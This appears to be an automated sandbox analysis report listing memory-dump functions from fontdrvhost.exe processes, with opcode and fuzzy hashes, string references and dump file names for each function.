Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd9accf45a865434e54cae4ebf34b7748661af367fba574b6faa64d6b8c68a3
Instruction ID: 67b901be5a959015952e4f2c5afaa6c0e42c4b4c336598ab3a58fa711f77af6a
Opcode Fuzzy Hash: cbd9accf45a865434e54cae4ebf34b7748661af367fba574b6faa64d6b8c68a3
Instruction Fuzzy Hash: 7D11B270A0954E4FEB54DB6488695BD7BF0FF58304F0504BED41DC31A6DA3565408711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A5D89 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6712eed00b61548802bde682f8a39fcd122adebc38494dac73e2cdaf7cacb126
Instruction ID: 43645c6571c19f1058cbdc2da1a06b785a9af07bd19201f82d8ba806034f58d8
Opcode Fuzzy Hash: 6712eed00b61548802bde682f8a39fcd122adebc38494dac73e2cdaf7cacb126
Instruction Fuzzy Hash: 40115171A0E68E4FE792EB64886D5E97BF0FF19300F0605B6D41CC70A6EA34A6848751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A4C5D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7322e0b402d3eae7e37dcf142703df137422764b5830e963bbe661226462ad31
Instruction ID: 9dbcc928c33216d8986cf61bc10d0b5c83014385952cfe5d1f0e900e280ff9ce
Opcode Fuzzy Hash: 7322e0b402d3eae7e37dcf142703df137422764b5830e963bbe661226462ad31
Instruction Fuzzy Hash: 4711E330A0994E8FEF59EB6488696B97BE1FF18304F0505BED41DC31E6DE356640C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8905D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17afebf30e2f862708537fbdf7af2da818503a150354636b145a772490fc0a4
Instruction ID: b5bfd4cf4d52b95c396ca0b5713e4217ec2a8b0a9db1959433ad58705b7fbdd9
Opcode Fuzzy Hash: e17afebf30e2f862708537fbdf7af2da818503a150354636b145a772490fc0a4
Instruction Fuzzy Hash: A3019E30A0950E9FDFA8EF65C4646B97BA1FF58308F51047ED82EC21A4CA35A650CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89B908 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e6eb8b85223280be9b7a002e4e442fe729801d83c4767e7349e1541285977b
Instruction ID: 4594eef2c8e64af7b599d3de8dea3860bb0fee48cbbadb07ef63e10d681cc5e4
Opcode Fuzzy Hash: b3e6eb8b85223280be9b7a002e4e442fe729801d83c4767e7349e1541285977b
Instruction Fuzzy Hash: 8C018030A1950E8EEF98EF68C4682B97AE0FF1D300F01047AE41EC21A1EE756240C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89283D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7e74c9bb6829d2c11a054a99afccc4576d88fb0d138de34946656c441181b6
Instruction ID: 08997bab6306ac93f35dd45e2673b745744aadfbc87fd8276606e7bed3ff4589
Opcode Fuzzy Hash: 1b7e74c9bb6829d2c11a054a99afccc4576d88fb0d138de34946656c441181b6
Instruction Fuzzy Hash: 52018430A1A54E8FEB65EFA484585B97BE0FF59300F4245B6D418D70B6EE38E2448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1F75 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dc88b4b080433a3124ddce29319a4a102f94365e2fb2a1bf434f79db9fee03b
Instruction ID: 2723b424ad317887d2cbc84dbbe42edde4d47146d0d2371ec1207f304339d154
Opcode Fuzzy Hash: 8dc88b4b080433a3124ddce29319a4a102f94365e2fb2a1bf434f79db9fee03b
Instruction Fuzzy Hash: 8801B130A0918D8FDB58EF64C4645F97BA0FF09304F0105BED41EC21A6DB35AA40C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A72C9 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bebc524ec83b1d515622e9b9f03b44bdc54fc800078033c16b46f4c72657c17b
Instruction ID: 39ffe75aca786f7e9a1886c8accf424da309b46cf632e5c8682eb15e3481fb86
Opcode Fuzzy Hash: bebc524ec83b1d515622e9b9f03b44bdc54fc800078033c16b46f4c72657c17b
Instruction Fuzzy Hash: 4401D434A0E28E4FE752EB7888695A93BE0FF1A300F4604F6D818C70B7EA28E5449351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89A719 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc33f2a02a6222c89eefaaa6bcaed7cfb3af2e429f6fc1443b34f014a20028d5
Instruction ID: 06efa9a79d52cd3e345ea9c96ef776df4ba29dd22cfc7f0b00598d1877d2c180
Opcode Fuzzy Hash: cc33f2a02a6222c89eefaaa6bcaed7cfb3af2e429f6fc1443b34f014a20028d5
Instruction Fuzzy Hash: CE017130A5E64DAFDB52ABB488695A93BF4EF5A304F0604B3D048C70B6D938E544C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892ED9 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85799e91b2a39bcb676e9b3aacc23b1f97ca528e29a0231722172f8900a89418
Instruction ID: 20d375fff7afabd44b05a8ab130a7362144ffa0300159e314bac0e179ea82bbe
Opcode Fuzzy Hash: 85799e91b2a39bcb676e9b3aacc23b1f97ca528e29a0231722172f8900a89418
Instruction Fuzzy Hash: B5018430A1A64E8FD766EBB488695A97BE0EF4A300F0605B7D408C70B6DA38A644C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891C9D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19bfee7004da813886ba05850aa605e27744b2e24e6cd0ce1d33444fc0ca5b0b
Instruction ID: 6d3e2c84e36b601e5f899ac5a682f56023a689a28547f1d398801122c1083cff
Opcode Fuzzy Hash: 19bfee7004da813886ba05850aa605e27744b2e24e6cd0ce1d33444fc0ca5b0b
Instruction Fuzzy Hash: B301D130A0E68E9FEFA9AF25C8656B93FA0FF59304F41017AE818C25A2DB359650C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7A0D Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1b76935c15434f5196c792d9bcd7101d2ccdb7dd1ed22d7791d97ed01e9f6f
Instruction ID: 2437879673b422cfd94503b816fbbdbc66710d2598560069d3aedd46f1555bde
Opcode Fuzzy Hash: aa1b76935c15434f5196c792d9bcd7101d2ccdb7dd1ed22d7791d97ed01e9f6f
Instruction Fuzzy Hash: EC01B134A4A68E5FDB59DB64C4695B93BA0FF09304F0104BED00AC61E2DA35A640D751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b1373a28bfc4c0fc70b8319e04ad6dcc71521bd3ae5c6d0c10a6e46747a4b6
Instruction ID: 57a81110828695603ad5153031a0482c49ede3ad779d866161db7c2ca4efeb9c
Opcode Fuzzy Hash: 81b1373a28bfc4c0fc70b8319e04ad6dcc71521bd3ae5c6d0c10a6e46747a4b6
Instruction Fuzzy Hash: AA016D30A1990E8AEF6DEFA4C4696B977E0FF18305F11087ED41ED21E5DE35A650C611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b2268c3d751ef3b7774390ce457f6b894f0345abfe89104ab448b4f30ba1f6
Instruction ID: 3d438c38b9145159ea2d958c201f4cb86019c30ebdad7d9ea8e38eab42ff8e25
Opcode Fuzzy Hash: c5b2268c3d751ef3b7774390ce457f6b894f0345abfe89104ab448b4f30ba1f6
Instruction Fuzzy Hash: 42016230A1550EDADF5DEFA4C4685B976A0FF18305F51087ED41ED61E5DE35A150CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C588 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9fe0c8304f13ce00650aa3fc76d1ac4095118b878d3806c5e964660e5f94157
Instruction ID: a5825776bb3c0d4d05eb02fac4512cfb2267bfc6da9bf58c625263d5776598fe
Opcode Fuzzy Hash: f9fe0c8304f13ce00650aa3fc76d1ac4095118b878d3806c5e964660e5f94157
Instruction Fuzzy Hash: E9018170A0A64E9FEF95AF6898695FD3EE0FF09304F01057AE81DC60A5EF7596508B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8905D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4487fc9bc0da2cfa583bc5e174e19649d127831f66511c92d99fd5c458ec0e7
Instruction ID: be9faa20934b5be29efd131dacb43c2235dd8dfbf041e3a70a59faf71a5993d3
Opcode Fuzzy Hash: d4487fc9bc0da2cfa583bc5e174e19649d127831f66511c92d99fd5c458ec0e7
Instruction Fuzzy Hash: A2F0C230A0E64E9FEF69EF65D4256FA3BA0FF09308F51047AE82DC21A1CA35A650C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892344 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70f3c0d89c29eb69ebec53422eeb90939fea420d7af0e94b4f9335fe966a9b3
Instruction ID: d97f0e976a8e1f489c4981ff2db36e4a0069ca552c97f72844c84c6e43050478
Opcode Fuzzy Hash: b70f3c0d89c29eb69ebec53422eeb90939fea420d7af0e94b4f9335fe966a9b3
Instruction Fuzzy Hash: EC110C70E0A26A8FEB689F50C8657A97BB1BF04310F0181FAD04DD62A1CE781A889F51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892759 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa16a5f22048a0f215610ebdf1a79a0c4611b36abf2a0dbedcfa6b96ff9d6332
Instruction ID: 8f841c57283cb605b748dcd5821d822867cadc56297c9b9a6fed16592c7b1f92
Opcode Fuzzy Hash: fa16a5f22048a0f215610ebdf1a79a0c4611b36abf2a0dbedcfa6b96ff9d6332
Instruction Fuzzy Hash: 71F0623450E38E8FDB6E9F6488646A93F60FF46204F4505BAE419C51E2DB389554C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8927CD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction ID: 3e277704e5e49f2a2d83e1d6b6b80970331058b3f68fbe967e331424e82ca8b8
Opcode Fuzzy Hash: fd1009c36db2d2c929717e3925a4f4ae6177fb711c73a22d9355e553c62a2b97
Instruction Fuzzy Hash: 74F0F030A0E68E8FEB6D9FA088291F93FA0FF09300F0204BED409C50E6DB389554C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89AE61 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ff3c13a23c8aebbbacfa5e976cca579194fe2761336be586086b6709a281fa
Instruction ID: e055eaf5145390d3f11e09de9fc55d18a26b2123802e66a8ac6d28d89dda9fc0
Opcode Fuzzy Hash: c8ff3c13a23c8aebbbacfa5e976cca579194fe2761336be586086b6709a281fa
Instruction Fuzzy Hash: 4BF0D070A1991D4EDFE4EB58C855BAD77B1EB58340F11C6A5800DE2155DE34AEC58F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A7726 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b8a1000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c0f23910a35f13814b2fa0a5e2a7c2b4a51d6e84fb66b2194267d58e2b5be4
Instruction ID: 5bd60e39a4c35f6d83502e0a7fd095bb41141824919631195a22357a340598ea
Opcode Fuzzy Hash: 62c0f23910a35f13814b2fa0a5e2a7c2b4a51d6e84fb66b2194267d58e2b5be4
Instruction Fuzzy Hash: C4F0F835F1851D8ADB18EBD4D8A58FCB3B2FF98310B500075D00EA7285DA2869008B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89DC92 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction ID: 1c7b0a85e2cf5d7fcc0116044f4a0d83037e46f113e7029f702264a60517b1a2
Opcode Fuzzy Hash: 7dd6fe5f1922240a836e9bc5c610b4bac6a731015ac31e0a05f3ded7134c2fc9
Instruction Fuzzy Hash: B1F0D431A1510D8FDB18DF84D4A09ECBBB2FF88311F65012AD40AA37A0DB786941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89FD0E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B89F000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B89F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b89f000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ba5b9bb0a3318fabb3871e916dc41216f28f6586b8174a555e36ee3734f98d
Instruction ID: 7923eccc506d6e20e108d761a9e6634b9af356e690f2bd284d3b766a29dcfce1
Opcode Fuzzy Hash: 72ba5b9bb0a3318fabb3871e916dc41216f28f6586b8174a555e36ee3734f98d
Instruction Fuzzy Hash: AEF09874E0565D8FDBA4DF54C8A17ED7AB1AF98300F1081AAD00EB2291CE342E818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8911B6 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction ID: 0573f59e67d755a12b3bc8a43b1d12653ef49cf4f6ee4aca3bb205c923268f02
Opcode Fuzzy Hash: 78373d8f96d9c2ba925e3ab8532e17776f1f23c91976e2fc1444358e497175da
Instruction Fuzzy Hash: 73C01231D2164E8ADB58AB90A8214FDB260FB48204F401462E42CA3092EF3026108680

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FFD9B89387E Relevance: 5.1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

Strings

8R^, xrefs: 00007FFD9B8938D4
.R^I, xrefs: 00007FFD9B893954
0R^I, xrefs: 00007FFD9B893944
/R^I, xrefs: 00007FFD9B893924

Memory Dump Source

Source File: 0000001D.00000002.1819115805.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9b890000_fontdrvhost.jbxd

Similarity

API ID:
String ID: .R^I$/R^I$0R^I$8R^
API String ID: 0-1790200200
Opcode ID: b8f887c83bb028b059d417cab7cfb1d8065eacb078eb3b694c9093168c3c6f96
Instruction ID: ee6dbfc820aa5169fb7ce5d54ed1fe5882654ef8e4102a3d4c52debe121bdfd6
Opcode Fuzzy Hash: b8f887c83bb028b059d417cab7cfb1d8065eacb078eb3b694c9093168c3c6f96
Instruction Fuzzy Hash: 2931D55260F7D70FEB2387B90C262657FA4AF5724475A40FBD0D4CB0E7D209AA0B8392

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontdrvhost.exePID: 6260, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B8B3565 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4718d66a0aac5d1605239c4a166acf362a950212b68c30c6940b16906751ad35
Instruction ID: 4d9ca293e895cfdb075477ab15d8c589e7a7cca80b690ebd54ea17c06918a90f
Opcode Fuzzy Hash: 4718d66a0aac5d1605239c4a166acf362a950212b68c30c6940b16906751ad35
Instruction Fuzzy Hash: 39A1E371A0995E8FEB98EB68C8647ECBBE1FF5A300F50027AD00DD32D6DB7464018B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BE9AA Relevance: 5.1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

Strings

], xrefs: 00007FFD9B8BE9E1
^, xrefs: 00007FFD9B8BEA41
0, xrefs: 00007FFD9B8BE248
@, xrefs: 00007FFD9B8BE2C2

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 0$@$]$^
API String ID: 0-3352198554
Opcode ID: e437b048f84c41f824f00e5d3143af30ff894383db85d54dce3902d515753a7b
Instruction ID: 321e94a665c701dca166e7bc4734104df8bd7e928a6d829b2ec0a3fb96902ba4
Opcode Fuzzy Hash: e437b048f84c41f824f00e5d3143af30ff894383db85d54dce3902d515753a7b
Instruction Fuzzy Hash: 3A41B970E0962D8FEBA8DF54D8A47E9B7B1FB58301F0041AAD00DA6291DB785E85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B0CB7 Relevance: 2.7, Strings: 2, Instructions: 240COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B8B0F21
H, xrefs: 00007FFD9B8B0D23

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: H$H
API String ID: 0-136785262
Opcode ID: f27734c92e8feddd201105dc50552dc257f7c63ba9768f2b1384b5c730a41d96
Instruction ID: e3c9e8975c0f924c8a8959435b24e498961c537c45490cfdf07f5525a865a236
Opcode Fuzzy Hash: f27734c92e8feddd201105dc50552dc257f7c63ba9768f2b1384b5c730a41d96
Instruction Fuzzy Hash: 1581C571F19A2E4EDB68DBA4C865BED77A1EF58710F0002B9D01DD72E2DE346A458F80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BE204 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD9B8BE248
@, xrefs: 00007FFD9B8BE2C2

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 5bd18bdc3204c0fea6022cb3fc7d1e9f968b2484687e1ea4a0ec04ae92250dd4
Instruction ID: 6c00047f6992455d1887e7298e5e84000f8683992b0a2a9246fffd7be1fcf53e
Opcode Fuzzy Hash: 5bd18bdc3204c0fea6022cb3fc7d1e9f968b2484687e1ea4a0ec04ae92250dd4
Instruction Fuzzy Hash: 1721D870E0962D8FEBA4DF54D8A4BE9B7B1FB58301F0041A9D00D92295DB789E81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BD5B9 Relevance: 1.6, Strings: 1, Instructions: 392COMMON

Download Yara Rule

Strings

NK_H, xrefs: 00007FFD9B8BD66E

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: NK_H
API String ID: 0-1667504650
Opcode ID: dc68ff29463ef7d51acecd224353f808a4c58f4d9ac5c1e6cd165313f98e61b0
Instruction ID: 7b68309b2567da0057b3cfbdf07a95ffb2b48c31b2a5bfabcc54052fb4649c08
Opcode Fuzzy Hash: dc68ff29463ef7d51acecd224353f808a4c58f4d9ac5c1e6cd165313f98e61b0
Instruction Fuzzy Hash: 72E15C71E1965D9FEBA8DBA8C8A47A8B7B1FF58300F0001BED01DD72A6DA346941CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC430 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

^, xrefs: 00007FFD9B8BC47A

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: be6d6e745dd16b8de05ded428ef083eca7bce3198fff1566007aea6c4565d524
Instruction ID: 3301b5db0e8e9ff386089212b9f858304d0d0965a55569e76d1a43f92145f2e6
Opcode Fuzzy Hash: be6d6e745dd16b8de05ded428ef083eca7bce3198fff1566007aea6c4565d524
Instruction Fuzzy Hash: E541FC72A0956A9AE7597BBCB8699EC3790FF04324F0506B7D05CC60D3ED6462454E80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BE327 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

{, xrefs: 00007FFD9B8BEDE2

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: {
API String ID: 0-366298937
Opcode ID: 9fc50fc4b41a49cf61da22602bb570d9eeba35c41c9096251e99103242b85da1
Instruction ID: 0515f1d7583888aa95bb868e912e44982f11b5b9df51f6c1aaa5d519dd05aec5
Opcode Fuzzy Hash: 9fc50fc4b41a49cf61da22602bb570d9eeba35c41c9096251e99103242b85da1
Instruction Fuzzy Hash: A231E470E0962E8EEB74DB64C8587F9B7B1AB58301F0141F9D00D922A1CB786AC4CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BC910 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

s{, xrefs: 00007FFD9B8BC946

Memory Dump Source

Source File: 0000001E.00000002.1825515012.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd9b8b0000_fontdrvhost.jbxd

Similarity

API ID:
String ID: s{
API String ID: 0-1998262635
